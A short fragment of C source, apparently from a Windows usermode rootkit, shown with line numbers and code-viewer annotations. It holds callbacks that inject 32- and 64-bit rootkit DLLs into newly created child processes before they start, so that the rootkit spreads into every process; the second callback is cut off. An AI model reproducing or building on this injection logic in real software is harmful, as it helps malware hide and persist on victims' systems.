| 127 | } |
| 128 | |
| 129 | VOID ChildProcessCallback(DWORD processId) |
| 130 | { |
| 131 | // Hook the newly created child processes before it is actually started. |
| 132 | // After this function returns, the original NtResumeThread is called. |
| 133 | |
| 134 | if (!IsInjectionPaused) |
| 135 | { |
| 136 | InjectDll(processId, RootkitDll32, RootkitDll32Size); |
| 137 | InjectDll(processId, RootkitDll64, RootkitDll64Size); |
| 138 | } |
| 139 | } |
| 140 | VOID NewProcessCallback(DWORD processId) |
| 141 | { |
| 142 | // Hook new processes that might have been missed by child process hooking. |
nothing calls this directly
no test coverage detected